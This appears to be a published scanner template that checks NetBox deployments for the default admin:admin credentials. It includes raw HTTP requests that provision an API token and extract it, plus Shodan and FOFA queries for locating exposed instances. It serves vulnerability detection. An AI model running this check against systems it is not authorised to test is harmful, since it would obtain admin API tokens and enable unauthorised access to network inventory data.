netbox-default-login: NetBox - Default Admin Credentials

2026-04-09 NetBox PoC Public

Description

Detected that NetBox was using the default credentials admin:admin. The official netbox-docker deployment set SUPERUSER_NAME=admin and SUPERUSER_PASSWORD=admin by default.

PoC

id: netbox-default-login

info:
  name: NetBox - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected that NetBox was using the default credentials admin:admin. The official netbox-docker deployment set SUPERUSER_NAME=admin and SUPERUSER_PASSWORD=admin by default.
  reference:
    - https://github.com/netbox-community/netbox-docker
    - https://docs.netbox.dev/en/stable/integrations/rest-api/#authenticating-to-the-api
  metadata:
    verified: true
    max-request: 2
    vendor: netbox-community
    product: netbox
    shodan-query: 'http.title:"NetBox"'
    fofa-query: 'title="NetBox" || body="netbox-community"'
  tags: default-login,netbox,auth

variables:
  username: "admin"
  password: "admin"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "netbox", "csrfmiddlewaretoken")'
        condition: and

  - raw:
      - |
        POST /api/users/tokens/provision/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"key\"", "\"user\"", "\"username\"")'
        condition: and

    extractors:
      - type: regex
        name: api_token
        part: body
        regex:
          - '"key"\s*:\s*"([a-f0-9]{40})"'
# digest: 4a0a0047304502205f727d9d56418421260097f5213ffb63af5b14514b46e7a673347055158e1443022100e49ae23b3cc7ff68916638f18e5a91bfd248e0cb96642c333cbee027c44cdda5:922c64590222798bb761d5b6d8e72950

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